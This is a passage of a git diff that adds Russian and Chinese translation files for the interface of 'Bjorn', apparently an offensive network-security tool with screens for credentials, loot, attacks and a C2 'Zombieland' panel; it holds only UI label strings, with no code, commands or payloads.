"actions.logs.empty": "Логов пока нет", + "actions.logs.waiting": "Ожидание...", + "actions.searchPlaceholder": "Поиск действий...", + "actions.tabs.actions": "Действия", + "actions.tabs.arguments": "Аргументы", + "actions.toast.selectActionFirst": "Сначала выберите действие", + "common.move": "Переместить", + "common.ready": "Готов", + "common.menu": "Меню", + "common.browse": "Обзор...", + "common.platform": "Платформа", + "common.generate": "Генерировать", + "common.vendor": "Производитель", + "common.hostname": "Имя хоста", + "common.ports": "Порты", + "zombie.generateClient": "Генерировать клиент", + "zombie.checkStale": "Проверить неактивных", + "zombie.selectedAgents": "выбранных агентов", + "zombie.clientId": "ID клиента", + "zombie.labCreds": "Учетные данные лабы", + "zombie.deployOptions": "Опции развертывания", + "zombie.deployViaSSH": "Развернуть по SSH", + "zombie.fileBrowser": "Файловый менеджер", + "dash.lastUpdate": "Последнее обновление", + "netkb.searchPlaceholder": "Поиск по хосту, IP, производителю, порту...", + "netkb.searchHint": "Совет: введите «port:80» или «vendor:intel»", + "files.dropzoneHint": "Перетащите файлы сюда или нажмите для загрузки", + "files.moveToTitle": "Переместить в...", + "files.selectDestinationFolder": "Выберите папку назначения", + "attacks.sidebar.management": "Управление", + "sched.upcoming": "Предстоящие", + "sched.success": "Успех", + "sched.cancelled": "Отменено", + "sched.history": "История", + "sched.historyMsg": "Логи истории", + "creds.searchPlaceholder": "Поиск сервисов, пользователей...", + "creds.uniqueHosts": "Уникальные хосты", + "creds.totalCredentials": "Всего паролей", + "console.maxReconnect": "Консоль: достигнуто максимальное количество попыток переподключения", + "console.scrollToBottom": "Прокрутить вниз", + "console.manual": "Ручной", + "console.auto": "Авто", + "console.turnOnAuto": "Включить авто-режим", + "console.turnOnManual": "Включить ручной режим", + "console.noTarget": "Нет цели", + "console.noAction": "Нет действия", + "console.scanStarted": "Ручной скан запущен", + "console.scanFailed": "Ручной скан не удался", + "console.attackStarted": "Ручная атака запущена", + "console.attackFailed": "Ручная атака не удалась", + "console.failedToggleMode": "Не удалось переключить режим", + "console.reconnectAttempt": "Переподключение (попытка {{count}})...", + "quick.close": "Закрыть панель", + "quick.connectingTo": "Подключение к {{ssid}}...", + "quick.connectedTo": "Подключено к {{ssid}}", + "quick.connectionFailed": "Подключение не удалось", + "quick.loadKnownFailed": "Ошибка загрузки известных сетей", + "quick.priorityUpdated": "Приоритет обновлен", + "quick.priorityUpdateFailed": "Ошибка обновления приоритета", + "quick.networkRemoved": "Сеть удалена", + "quick.importingPotfiles": "Импорт pot-файлов...", + "quick.importedCount": "Импортировано {{count}} паролей", + "quick.btScanFailed": "Bluetooth-скан не удался", + "quick.btActioning": "{{action}} для {{name}}...", + "quick.btActionDone": "{{name}} : {{action}} выполнено", + "quick.btActionFailed": "Ошибка при {{action}}", + "quick.btForgotten": "{{name}} забыт", + "sidebar.close": "Закрыть боковую панель", + "api.aborted": "Прервано", + "api.timeout": "Время запроса истекло", + "api.failed": "Запрос не удался", + "router.notFound": "Страница не найдена: {{path}}", + "router.errorLoading": "Ошибка при загрузке страницы: {{message}}" +} \ No newline at end of file diff --git a/web/i18n/zh.json b/web/i18n/zh.json new file mode 100644 index 0000000..349435e --- /dev/null +++ b/web/i18n/zh.json @@ -0,0 +1,781 @@ +{ + "nav.dashboard": "仪表盘", + "nav.bjorn": "Bjorn", + "nav.netkb": "网络基础", + "nav.network": "网络", + "nav.credentials": "凭据", + "nav.vulnerabilities": "漏洞", + "nav.attacks": "攻击", + "nav.scheduler": "调度器", + "nav.database": "数据库", + "nav.files": "文件", + "nav.loot": "战利品", + "nav.actions": "操作", + "nav.actionsStudio": "操作工作室", + "nav.backup": "备份与更新", + "nav.webEnum": "Web 枚举", + "nav.zombieland": "僵尸乐园", + "nav.settings": "设置", + "nav.shortcuts": "快捷键", + "nav.pages": "页面", + "status.initializing": "正在初始化...", + "status.online": "在线", + "status.offline": "离线", + "console.title": "控制台", + "console.clear": "清除", + "console.sseOn": "SSE 已开启", + "console.sseOff": "SSE 已关闭", + "console.newLogs": "{{count}} 条新日志", + "settings.theme": "主题", + "settings.language": "语言", + "settings.general": "常规", + "settings.toggles": "选项", + "settings.editValue": "编辑值", + "settings.addValues": "添加值(逗号分隔)...", + "settings.setValue": "设置值...", + "settings.errorLoading": "加载配置时出错", + "settings.configSaved": "设置已保存", + "settings.errorSaving": "保存配置时出错", + "settings.defaultsRestored": "已恢复默认值", + "settings.errorRestoring": "恢复默认值时出错", + "theme.group.colors": "颜色", + "theme.group.surfaces": "界面", + "theme.group.layout": "布局", + "theme.token.bg": "背景", + "theme.token.ink": "文字颜色", + "theme.token.accent1": "强调色 1 (酸性)", + "theme.token.accent2": "强调色 2 (青色)", + "theme.token.danger": "危险", + "theme.token.warning": "警告", + "theme.token.ok": "成功", + "theme.token.panel": "面板", + "theme.token.panel2": "备选面板", + "theme.token.ctrlPanel": "控制面板", + "theme.token.border": "边框", + "theme.token.radius": "圆角", + "theme.advanced": "高级 CSS", + "theme.applyRaw": "应用", + "theme.reset": "重置", + "dash.title": "仪表盘", + "dash.battery": "电池", + "dash.internet": "互联网", + "dash.cpu": "CPU", + "dash.ram": "内存", + "dash.disk": "磁盘", + "dash.temp": "温度", + "dash.uptime": "运行时间", + "dash.hostsAlive": "在线主机", + "dash.totalHosts": "主机总数", + "dash.openPorts": "开放端口", + "dash.credentials": "凭据", + "dash.vulnerabilities": "漏洞", + "dash.actions": "操作", + "dash.connected": "已连接", + "dash.disconnected": "已断开", + "dash.charging": "充电中", + "dash.discharging": "放电中", + "dash.full": "已充满", + "dash.connectivity": "连通性", + "dash.liveOps": "实时操作", + "dash.tapRefresh": "点击刷新", + "dash.wifi": "Wi-Fi", + "dash.ethernet": "以太网", + "dash.usb": "USB", + "dash.bluetooth": "蓝牙", + "dash.mode": "模式", + "dash.gps": "GPS", + "dash.age": "Bjorn 运行时间", + "dash.plugged": "已接通电源", + "dash.noBattery": "无电池", + "dash.sinceScan": "自上次扫描以来", + "dash.wifiKnown": "已知 Wi-Fi", + "dash.dataFiles": "收集的数据/文件", + "dash.fileDescriptors": "文件句柄", + "dash.attackScripts": "攻击脚本", + "dash.system": "系统", + "dash.zombies": "僵尸", + "netkb.title": "网络知识库", + "netkb.showOffline": "显示离线", + "netkb.gridView": "网格", + "netkb.listView": "列表", + "netkb.hostname": "主机名", + "netkb.ip": "IP 地址", + "netkb.mac": "MAC 地址", + "netkb.vendor": "厂商", + "netkb.ports": "端口", + "netkb.essid": "ESSID", + "netkb.lastSeen": "最后上线", + "netkb.firstSeen": "首次发现", + "netkb.online": "在线", + "netkb.offline": "离线", + "netkb.openPorts": "开放端口", + "netkb.noHosts": "未发现主机", + "network.title": "网络可视化", + "network.tableView": "表格", + "network.mapView": "地图", + "network.hostname": "主机名", + "network.ip": "IP 地址", + "network.mac": "MAC", + "network.ports": "端口", + "network.status": "状态", + "network.searchPlaceholder": "搜索主机...", + "network.noData": "无网络数据", + "creds.title": "凭据", + "creds.total": "总计", + "creds.unique": "唯一", + "creds.types": "类型", + "creds.username": "用户名", + "creds.password": "密码", + "creds.service": "服务", + "creds.host": "主机", + "creds.port": "端口", + "creds.type": "类型", + "creds.timestamp": "时间戳", + "creds.showPassword": "显示密码", + "creds.hidePassword": "隐藏密码", + "creds.copyPassword": "复制", + "creds.exportAll": "导出全部", + "creds.noCredentials": "未发现凭据", + "vulns.title": "漏洞看板", + "vulns.total": "总计", + "vulns.critical": "紧急", + "vulns.high": "高危", + "vulns.medium": "中危", + "vulns.low": "低危", + "vulns.infoLevel": "信息", + "vulns.host": "主机", + "vulns.port": "端口", + "vulns.service": "服务", + "vulns.severity": "级别", + "vulns.description": "描述", + "vulns.cve": "CVE", + "vulns.scanDate": "扫描日期", + "vulns.details": "详情", + "vulns.noVulns": "未发现漏洞", + "vulns.byHost": "按主机", + "vulns.bySeverity": "按级别", + "vulns.byService": "按服务", + "attacks.title": "攻击管理器", + "attacks.running": "进行中", + "attacks.completed": "已完成", + "attacks.failed": "失败", + "attacks.queued": "队列中", + "attacks.start": "开始", + "attacks.stop": "停止", + "attacks.restart": "重启", + "attacks.status": "状态", + "attacks.target": "目标", + "attacks.action": "操作", + "attacks.duration": "时长", + "attacks.progress": "进度", + "attacks.noAttacks": "当前无进行中的攻击", + "sched.title": "操作调度器", + "sched.pending": "等待中", + "sched.running": "运行中", + "sched.done": "已完成", + "sched.failed": "失败", + "sched.all": "全部", + "sched.searchPlaceholder": "搜索任务...", + "sched.noTasks": "未发现任务", + "sched.stats": "{{running}} 个运行中 / {{pending}} 个等待中 / {{done}} 个已完成", + "db.title": "数据库管理器", + "db.tables": "表", + "db.rows": "行", + "db.columns": "列", + "db.search": "搜索表...", + "db.searchRows": "搜索行...", + "db.export": "导出", + "db.import": "导入", + "db.addRow": "添加行", + "db.deleteRow": "删除行", + "db.deleteSelected": "删除选中项", + "db.saveChanges": "保存", + "db.discardChanges": "放弃", + "db.confirmDelete": "确认删除?", + "db.noTables": "未发现表", + "db.noData": "该表中无数据", + "db.hide": "隐藏", + "db.showSidebar": "显示侧边栏", + "files.title": "文件浏览器", + "files.gridView": "网格", + "files.listView": "列表", + "files.size": "大小", + "files.modified": "修改日期", + "files.name": "名称", + "files.type": "类型", + "files.download": "下载", + "files.preview": "预览", + "files.noFiles": "未发现文件", + "files.parentDir": "上级目录", + "files.searchPlaceholder": "搜索文件...", + "loot.title": "战利品", + "loot.directories": "目录", + "loot.totalFiles": "文件总数", + "loot.totalSize": "总大小", + "loot.download": "下载", + "loot.downloadAll": "下载全部", + "loot.noLoot": "未发现战利品", + "loot.explore": "探索", + "actions.title": "操作管理器", + "actions.available": "可用", + "actions.enabled": "已启用", + "actions.disabled": "已禁用", + "actions.category": "类别", + "actions.enableAll": "全部启用", + "actions.disableAll": "全部禁用", + "actions.import": "导入", + "actions.export": "导出", + "actions.noActions": "未发现操作", + "actions.description": "描述", + "actions.menu.restartService": "重启 Bjorn 服务", + "actions.menu.deleteActionStatus": "删除所有操作状态", + "actions.menu.clearOutput": "清空输出文件夹", + "actions.menu.clearLogs": "清除日志", + "actions.menu.reloadImages": "重新加载图片(实验性)", + "actions.menu.reloadFonts": "重新加载字体", + "actions.menu.reloadActionsJson": "重新加载操作 JSON", + "actions.menu.initializeCsv": "初始化 CSV 文件", + "actions.menu.clearLivestatus": "删除实时状态文件", + "actions.menu.refreshActionsFile": "刷新操作文件", + "actions.menu.clearNetkb": "清空网络知识库", + "actions.menu.clearSharedConfig": "删除共享配置 JSON", + "actions.menu.eraseMemories": "擦除 Bjorn 记忆", + "actions.menu.reboot": "重启系统", + "actions.menu.shutdown": "关机", + "actions.tip.restartService": "重启 Bjorn 服务以刷新其状态。", + "actions.tip.deleteActionStatus": "删除 netkb.csv 中操作/攻击的所有成功和失败状态。", + "actions.tip.clearOutput": "删除输出文件夹及子文件夹中的所有文件。", + "actions.tip.clearLogs": "删除所有系统日志文件。", + "actions.tip.reloadImages": "重新加载系统使用的图片。", + "actions.tip.reloadFonts": "重新加载应用程序字体。", + "actions.tip.reloadActionsJson": "重新加载生成的 Actions.json 文件。", + "actions.tip.initializeCsv": "重新创建 CSV 和 JSON 文件。", + "actions.tip.clearLivestatus": "删除实时状态文件。", + "actions.tip.refreshActionsFile": "刷新操作文件以包含新操作。", + "actions.tip.clearNetkb": "删除网络知识库中保存的所有信息。", + "actions.tip.clearSharedConfig": "删除共享配置 JSON 文件。", + "actions.tip.eraseMemories": "完全擦除 Bjorn 的记忆和设置。", + "actions.tip.reboot": "重启整个系统。", + "actions.tip.shutdown": "完全关闭系统。", + "actions.confirm.restartRecommended": "建议重启服务。现在重启?", + "actions.confirm.restartService": "确认重启 Bjorn 服务?", + "actions.confirm.deleteActionStatus": "确认删除所有保存的操作状态?", + "actions.confirm.clearOutput": "确认清空整个输出文件夹?", + "actions.confirm.clearLogs": "确认删除所有日志文件?", + "actions.confirm.clearNetkb": "确认清空网络知识库?此操作不可逆。", + "actions.confirm.clearLivestatus": "确认删除实时状态文件?", + "actions.confirm.refreshActionsFile": "确认刷新操作文件?", + "actions.confirm.clearSharedConfig": "确认删除共享配置 JSON?此操作不可逆。", + "actions.confirm.eraseMemories": "确认擦除 Bjorn 的所有记忆和设置?此操作不可逆。", + "actions.confirm.reboot": "确认重启整个系统?", + "actions.confirm.shutdown": "确认关机?", + "actions.msg.restartingService": "正在重启 Bjorn 服务...", + "actions.msg.restartFailed": "重启服务失败", + "actions.msg.actionStatusDeleted": "所有操作状态已删除。", + "actions.msg.outputCleared": "输出文件夹已清空。", + "actions.msg.logsCleared": "日志已清除。", + "actions.msg.netkbCleared": "网络知识库已清空。", + "actions.msg.livestatusDeleted": "实时状态文件已删除。", + "actions.msg.actionsFileRefreshed": "操作文件已刷新。", + "actions.msg.sharedConfigDeleted": "共享配置 JSON 已删除。", + "actions.msg.memoriesErased": "Bjorn 记忆已擦除。", + "actions.msg.rebooting": "正在重启系统...", + "actions.msg.shuttingDown": "正在关机...", + "actions.msg.csvInitialized": "CSV 文件已初始化。", + "actions.msg.actionsJsonReloaded": "操作 JSON 已重新加载。", + "actions.msg.imagesReloaded": "图片已重新加载。", + "actions.msg.fontsReloaded": "字体已重新加载。", + "actions.msg.unknownAction": "未知操作", + "actions.msg.actionFailed": "操作失败", + "studio.title": "操作工作室", + "studio.palette": "调色板", + "studio.canvas": "画布", + "studio.inspector": "检查器", + "studio.actionsTab": "操作", + "studio.hostsTab": "主机", + "studio.globalTab": "全局", + "studio.save": "保存", + "studio.load": "加载", + "studio.run": "运行", + "studio.clear": "清空", + "studio.addNode": "添加节点", + "studio.removeNode": "删除节点", + "studio.search": "搜索操作...", + "backup.title": "备份与更新", + "backup.backupRestore": "备份 / 恢复", + "backup.update": "更新", + "backup.createBackup": "创建备份", + "backup.restoreBackup": "恢复", + "backup.downloadBackup": "下载", + "backup.deleteBackup": "删除备份", + "backup.lastBackup": "上次备份", + "backup.checkUpdates": "检查更新", + "backup.installUpdate": "安装更新", + "backup.currentVersion": "当前版本", + "backup.latestVersion": "最新版本", + "backup.upToDate": "已是最新", + "backup.updateAvailable": "发现更新", + "backup.clearLogs": "清除日志", + "backup.noBackups": "未发现备份", + "backup.restoring": "正在恢复...", + "backup.creating": "正在创建备份...", + "webenum.title": "Web 枚举", + "webenum.totalResults": "结果总数", + "webenum.uniqueHosts": "唯一主机", + "webenum.successCount": "成功 (2xx)", + "webenum.errorCount": "错误 (4xx/5xx)", + "webenum.host": "主机", + "webenum.ip": "IP", + "webenum.port": "端口", + "webenum.directory": "目录", + "webenum.status": "状态", + "webenum.size": "大小", + "webenum.scanDate": "扫描日期", + "webenum.link": "链接", + "webenum.exportJson": "导出 JSON", + "webenum.exportCsv": "导出 CSV", + "webenum.noResults": "未发现结果", + "webenum.details": "结果详情", + "webenum.openUrl": "打开 URL", + "webenum.copyUrl": "复制 URL", + "webenum.showing": "显示第 {{start}}-{{end}} 条,共 {{total}} 条结果", + "webenum.itemsPerPage": "每页项数", + "webenum.refreshData": "刷新数据", + "webenum.responseTime": "响应时间", + "webenum.contentType": "内容类型", + "webenum.fullUrl": "完整 URL", + "zombie.title": "僵尸乐园 C2C", + "zombie.agents": "代理", + "zombie.terminal": "终端", + "zombie.commands": "命令", + "zombie.totalAgents": "代理总数", + "zombie.onlineAgents": "在线", + "zombie.offlineAgents": "离线", + "zombie.idleAgents": "空闲", + "zombie.sendCommand": "发送命令", + "zombie.broadcast": "广播", + "zombie.selectAgent": "选择代理", + "zombie.os": "操作系统", + "zombie.lastSeen": "最后上线", + "zombie.status": "状态", + "zombie.noAgents": "无已连接的代理", + "zombie.quickCommands": "快速命令", + "zombie.files": "文件", + "quick.autoScan": "自动扫描", + "quick.connectWifi": "连接 Wi-Fi", + "quick.knownNetworks": "已知网络", + "quick.importPotfiles": "导入 Potfile", + "quick.subtitle": "Wi-Fi 和蓝牙", + "quick.pair": "配对", + "quick.trust": "信任", + "quick.forgetDevice": "忘记设备", + "quick.forgetDevicePrompt": "确认忘记 {{name}}?", + "quick.forgetNetworkPrompt": "确认忘记此网络?", + "bjorn.title": "Bjorn EPD 屏幕", + "bjorn.epdScreen": "电子墨水屏", + "bjorn.refreshInterval": "刷新间隔", + "bjorn.autoRefresh": "自动刷新", + "bjorn.manualRefresh": "手动刷新", + "bjorn.seconds": "秒", + "common.search": "搜索", + "common.filter": "过滤", + "common.refresh": "刷新", + "common.save": "保存", + "common.cancel": "取消", + "common.delete": "删除", + "common.edit": "编辑", + "common.close": "关闭", + "common.loading": "正在加载...", + "common.noData": "无可用数据", + "common.error": "错误", + "common.success": "成功", + "common.confirm": "确认", + "common.yes": "是", + "common.no": "否", + "common.export": "导出", + "common.import": "导入", + "common.download": "下载", + "common.upload": "上传", + "common.copy": "复制", + "common.start": "开始", + "common.stop": "停止", + "common.restart": "重启", + "common.status": "状态", + "common.name": "名称", + "common.value": "值", + "common.type": "类型", + "common.host": "主机", + "common.port": "端口", + "common.target": "目标", + "common.date": "日期", + "common.time": "时间", + "common.size": "大小", + "common.actions": "操作", + "common.details": "详情", + "common.back": "返回", + "common.next": "下一步", + "common.previous": "上一步", + "common.first": "第一页", + "common.last": "最后一页", + "common.all": "全部", + "common.none": "无", + "common.showing": "显示", + "common.of": "/", + "common.results": "个结果", + "common.items": "项", + "common.page": "页码", + "common.perPage": "每页", + "common.sortBy": "排序方式", + "common.ascending": "升序", + "common.descending": "降序", + "common.view": "视图", + "common.table": "表格", + "common.grid": "网格", + "common.list": "列表", + "common.map": "地图", + "common.enabled": "已启用", + "common.disabled": "已禁用", + "common.on": "开", + "common.off": "关", + "common.version": "版本", + "common.hide": "隐藏", + "common.show": "显示", + "common.add": "添加", + "common.remove": "移除", + "common.clear": "清空", + "common.reset": "重置", + "common.apply": "应用", + "common.run": "运行", + "common.send": "发送", + "common.connect": "连接", + "common.disconnect": "断开连接", + "common.selectAll": "全选", + "common.deselectAll": "全不选", + "common.copied": "已复制!", + "common.notFound": "未找到", + "backup.checkUpdatesHint": "点击“检查更新”以查看版本。", + "backup.checkingUpdates": "正在检查更新...", + "backup.confirmFreshStart": "确认全新启动?", + "backup.createdSuccessfully": "备份创建成功。", + "backup.defaultUpdated": "默认备份已更新。", + "backup.deleted": "备份已删除。", + "backup.descriptionPlaceholder": "备份描述...", + "backup.enterDescription": "请输入备份描述。", + "backup.failedCheckUpdates": "检查更新失败", + "backup.failedCreate": "创建备份失败", + "backup.failedDelete": "删除备份失败", + "backup.failedLoadBackups": "加载备份失败", + "backup.failedSetDefault": "设置默认失败", + "backup.freshStart": "全新启动", + "backup.freshStartFailed": "全新启动失败", + "backup.freshStartInitiated": "全新启动已启动。", + "backup.github": "github", + "backup.keepActions": "保留 actions 文件夹", + "backup.keepConfig": "保留 config 文件夹", + "backup.keepData": "保留 data 文件夹", + "backup.keepResources": "保留 resources 文件夹", + "backup.noBackupsCreateAbove": "未发现备份。请在上方创建。", + "backup.restoreCompleted": "恢复完成。", + "backup.restoreOptions": "恢复选项", + "backup.restorePoint": "恢复点", + "backup.selectKeepFolders": "选择操作期间要保留的文件夹:", + "backup.setDefault": "设为默认", + "backup.unnamedBackup": "未命名备份", + "backup.updateInitiated": "更新已启动。", + "backup.updateOptions": "更新选项", + "common.confirmDiscardUnsaved": "放弃未保存的更改?", + "common.confirmQuestion": "确认?", + "common.default": "默认", + "common.deleteFailed": "删除失败", + "common.deleted": "已删除", + "common.description": "描述", + "common.directory": "目录", + "common.duplicate": "复制副本", + "common.exportJson": "导出 JSON", + "common.failed": "失败", + "common.file": "文件", + "common.importJson": "导入 JSON", + "common.new": "新建", + "common.noMatches": "无匹配项", + "common.options": "选项", + "common.processingPleaseWait": "正在处理,请稍候...", + "common.refreshed": "已刷新", + "common.rename": "重命名", + "common.saving": "正在保存...", + "common.unknown": "未知", + "common.unsavedChanges": "未保存的更改", + "db.autoRefresh": "自动刷新", + "db.changesDiscarded": "更改已放弃", + "db.changesSaved": "更改已保存", + "db.confirmDrop": "确定删除表“{{table}}”?此操作不可逆!", + "db.confirmTruncate": "确认清空表“{{table}}”中的所有行?", + "db.dangerZone": "危险区域", + "db.deletingRowsCount": "正在删除 {{count}} 行...", + "db.dropFailed": "删除表失败", + "db.droppedTable": "表“{{table}}”已删除", + "db.dropping": "正在删除...", + "db.emptyTable": "空表", + "db.errorLoadingData": "加载数据时出错", + "db.failedLoadCatalog": "加载目录失败", + "db.failedLoadTable": "加载表失败", + "db.filterTables": "过滤表...", + "db.insertFailed": "插入失败", + "db.insertingRow": "正在插入行...", + "db.noRowsSelected": "未选中任何行", + "db.rowInserted": "行已插入", + "db.rowsDeleted": "行已删除", + "db.runningVacuum": "正在执行 VACUUM...", + "db.saveFailed": "保存失败", + "db.selectTableFromSidebar": "请从侧边栏选择一个表", + "db.tableDropped": "表已删除", + "db.tableTruncated": "表已清空", + "db.truncateFailed": "清空失败", + "db.truncating": "正在清空...", + "db.vacuumComplete": "VACUUM 已完成", + "db.vacuumDone": "VACUUM 已执行", + "db.vacuumFailed": "VACUUM 失败", + "files.confirmDelete": "确认删除 {{label}}“{{name}}”?", + "files.downloadFile": "下载文件", + "files.duplicateFailed": "创建副本失败", + "files.duplicated": "已创建副本", + "files.emptyDirectory": "空目录", + "files.errorLoading": "加载文件时出错", + "files.failedLoadDir": "加载目录失败", + "files.filterPlaceholder": "过滤文件...", + "files.itemsCount": "{{count}} 个项", + "files.newNamePrompt": "新名称:", + "files.noMatch": "无匹配文件", + "files.openDirectory": "打开目录", + "files.parent": ".. (上级)", + "files.renameFailed": "重命名失败", + "files.renamed": "已重命名", + "files.root": "根目录", + "files.uploadComplete": "上传完成", + "files.uploadFailed": "上传失败", + "files.uploadingCount": "正在上传 {{count}} 个文件...", + "studio.actionNotFound": "未发现操作", + "studio.classNameRequired": "类名是必填项", + "studio.confirmDeleteAction": "确认删除操作“{{name}}”?此操作不可逆。", + "studio.deletedName": "已删除:{{name}}", + "studio.exportedFile": "已导出:{{name}}", + "studio.filterActions": "过滤操作...", + "studio.importFailed": "导入失败", + "studio.importedFile": "已导入:{{name}}", + "studio.loadFailed": "加载失败", + "studio.loadedFromCacheName": "从缓存加载:{{name}}", + "studio.loadedName": "已加载:{{name}}", + "studio.newActionCreated": "新操作已创建", + "studio.noActionLoaded": "未加载操作", + "studio.saveFailedBackedUp": "保存失败(已创建本地备份)", + "studio.savedName": "已保存:{{name}}", + "studio.setClassBeforeExport": "导出前请先设置类名", + "zombie.agentRemoved": "代理 {{name}} 已移除", + "zombie.agentsPurged": "已清除 {{count}} 个代理", + "zombie.allAgents": "所有代理", + "zombie.c2StartedOnPort": "C2 服务器已在端口 {{port}} 启动", + "zombie.c2Stopped": "C2 服务器已停止", + "zombie.clearConsole": "清空控制台", + "zombie.clearLogs": "清除日志", + "zombie.commandBroadcasted": "命令已广播", + "zombie.commandSentToAgents": "命令已发送至 {{count}} 个代理", + "zombie.confirmPurgeStale": "确认清除所有超过 24 小时未上线的代理?", + "zombie.confirmRemoveAgent": "确认移除代理 {{name}}?", + "zombie.confirmStopC2": "确认停止 C2 服务器?", + "zombie.consoleCleared": "控制台已清空", + "zombie.enterC2Port": "输入 C2 端口:", + "zombie.enterCommand": "输入命令...", + "zombie.failedPurgeStale": "清除不活跃代理失败", + "zombie.failedRemoveAgent": "移除代理 {{name}} 失败", + "zombie.failedSendCommand": "发送命令失败", + "zombie.failedStartC2": "启动 C2 失败", + "zombie.failedStopC2": "停止 C2 失败", + "zombie.noAgentsConnected": "无已连接的代理", + "zombie.noAgentsMatchSearch": "无匹配的代理", + "zombie.purgeStale": "清除不活跃代理", + "zombie.purgeStaleHint": "清除 >24h 不活跃的代理", + "zombie.removeAgent": "移除代理", + "zombie.startC2": "启动 C2", + "zombie.stopC2": "停止 C2", + "zombie.systemLogs": "系统日志", + "zombieland.alive": "存活", + "zombieland.c2Status": "C2 状态", + "zombieland.dead": "离线", + "zombieland.totalAgents": "代理总数", + "greeting": "你好", + "start": "开始", + "tick": "Tick", + "common.ip": "IP", + "common.mac": "MAC", + "common.os": "系统", + "zombie.never": "从未", + "zombie.openInConsole": "在控制台中打开", + "common.saved": "已保存", + "attacks.tabs.attacks": "攻击", + "attacks.tabs.comments": "评论", + "attacks.tabs.images": "图片", + "attacks.btn.addAttack": "添加攻击", + "attacks.btn.removeAttack": "删除攻击", + "attacks.btn.deleteAction": "删除操作", + "attacks.btn.restoreDefaultsBundle": "恢复默认值", + "attacks.btn.addSection": "添加章节", + "attacks.btn.deleteSection": "删除章节", + "attacks.btn.restoreDefault": "恢复默认", + "attacks.btn.createCharacter": "创建角色", + "attacks.btn.deleteCharacter": "删除角色", + "attacks.section.characters": "角色", + "attacks.section.statusImages": "状态图片", + "attacks.section.staticImages": "静态图片", + "attacks.section.webImages": "Web 图片", + "attacks.section.actionIcons": "操作图标", + "attacks.editor.selectAttack": "选择攻击", + "attacks.empty.noAttacks": "未发现攻击。", + "attacks.empty.noComments": "未发现评论。", + "attacks.comments.placeholder": "评论将在此处显示...", + "attacks.images.enterEditMode": "进入编辑模式", + "attacks.images.exitEditMode": "退出编辑模式", + "attacks.images.sortName": "排序:名称", + "attacks.images.sortDimensions": "排序:尺寸", + "attacks.images.search": "搜索图片...", + "attacks.images.rename": "重命名图片", + "attacks.images.replace": "替换图片", + "attacks.images.resizeSelected": "调整选中项尺寸", + "attacks.images.addCharacters": "添加角色图片", + "attacks.images.deleteSelected": "删除选中项", + "attacks.images.addStatus": "添加状态图片", + "attacks.images.addStatic": "添加静态图片", + "attacks.images.addWeb": "添加 Web 图片", + "attacks.images.addIcon": "添加操作图标", + "attacks.errors.loadAttacks": "加载攻击失败。", + "attacks.errors.loadImages": "加载图片失败。", + "attacks.confirm.switchCharacter": "切换到角色“{{name}}”?", + "attacks.confirm.removeAttack": "删除攻击“{{name}}”?", + "attacks.confirm.deleteAction": "删除操作“{{name}}”?", + "attacks.confirm.restoreAttack": "将“{{name}}”恢复为默认值?", + "attacks.confirm.restoreDefaultsBundle": "确认恢复所有默认值(操作、图片、评论)?", + "attacks.confirm.deleteCharacter": "删除角色“{{name}}”?", + "attacks.confirm.deleteSection": "删除章节“{{name}}”?", + "attacks.confirm.restoreDefaultComments": "恢复默认评论?", + "attacks.confirm.deleteSelectedImages": "删除选中的图片?", + "attacks.prompt.newCharacterName": "新角色名称:", + "attacks.prompt.characterToDelete": "要删除的角色:", + "attacks.prompt.newSectionName": "新章节名称:", + "attacks.prompt.newImageName": "新名称:", + "attacks.prompt.resizeWidth": "缩放宽度:", + "attacks.prompt.resizeHeight": "缩放高度:", + "attacks.toast.characterSwitched": "已切换角色", + "attacks.toast.attackImported": "攻击已导入", + "attacks.toast.selectAttackFirst": "请先选择攻击", + "attacks.toast.actionDeleted": "操作已删除", + "attacks.toast.defaultsRestored": "已恢复默认值", + "attacks.toast.characterCreated": "角色已创建", + "attacks.toast.noDeletableCharacters": "无可删除的角色", + "attacks.toast.characterDeleted": "角色已删除", + "attacks.toast.commentsRestored": "评论已恢复", + "attacks.toast.selectSectionFirst": "请先选择章节", + "attacks.toast.commentsSaved": "评论已保存", + "attacks.toast.selectExactlyOneImage": "请精确选择一张图片", + "attacks.toast.selectAtLeastOneImage": "请至少选择一张图片", + "attacks.toast.imagesResized": "图片尺寸已调整", + "attacks.toast.characterImagesUploaded": "角色图片已上传", + "attacks.toast.selectStatusActionFirst": "请先选择状态操作", + "actions.toast.presetApplied": "预设已应用", + "actions.toast.startingAction": "正在启动 {{name}}...", + "actions.toast.actionStarted": "操作已启动", + "actions.toast.stoppedByUser": "已被用户停止", + "actions.toast.actionStopped": "操作已停止", + "actions.toast.stopFailed": "停止失败", + "actions.toast.failedToStop": "无法停止", + "actions.toast.consoleCleared": "控制台已清空", + "actions.toast.noLogsToExport": "无日志可导出", + "actions.toast.logsExported": "日志已导出", + "netkb.confirmRemoveAction": "确认移除 IP 为“{{ip}}”的操作“{{action}}”?", + "netkb.actionRemoved": "操作已移除", + "actions.running": "进行中", + "attacks.btn.syncMissing": "同步缺失项", + "attacks.images.gridDensity": "网格密度", + "attacks.images.density": "密度", + "attacks.sync.defaultComment": "为此操作添加评论", + "attacks.sync.none": "无待同步的攻击。", + "attacks.sync.done": "同步完成。新评论:{{comments}},状态图片:{{status}},角色图片:{{characters}}。", + "attacks.sync.failed": "同步缺失项失败", + "actions.args.free": "自由参数", + "actions.args.none": "无可配置参数", + "actions.args.subtitle": "自动根据操作定义生成", + "actions.args.title": "参数", + "actions.assign": "分配", + "actions.emptyPane": "未选择操作", + "actions.logs.completed": "完成", + "actions.logs.empty": "目前尚无日志", + "actions.logs.waiting": "正在等待...", + "actions.searchPlaceholder": "搜索操作...", + "actions.tabs.actions": "操作", + "actions.tabs.arguments": "参数", + "actions.toast.selectActionFirst": "请先选择操作", + "common.move": "移动", + "common.ready": "就绪", + "common.menu": "菜单", + "common.browse": "浏览...", + "common.platform": "平台", + "common.generate": "生成", + "common.vendor": "厂商", + "common.hostname": "主机名", + "common.ports": "端口", + "zombie.generateClient": "生成客户端", + "zombie.checkStale": "检查不活跃代理", + "zombie.selectedAgents": "个选中的代理", + "zombie.clientId": "客户端 ID", + "zombie.labCreds": "实验凭据", + "zombie.deployOptions": "部署选项", + "zombie.deployViaSSH": "通过 SSH 部署", + "zombie.fileBrowser": "文件浏览器", + "dash.lastUpdate": "最后更新", + "netkb.searchPlaceholder": "搜索主机、IP、厂商、端口...", + "netkb.searchHint": "提示:输入 'port:80' 或 'vendor:intel'", + "files.dropzoneHint": "拖放文件至此处或点击上传", + "files.moveToTitle": "移动至...", + "files.selectDestinationFolder": "选择目标文件夹", + "attacks.sidebar.management": "管理", + "sched.upcoming": "即将到来", + "sched.success": "成功", + 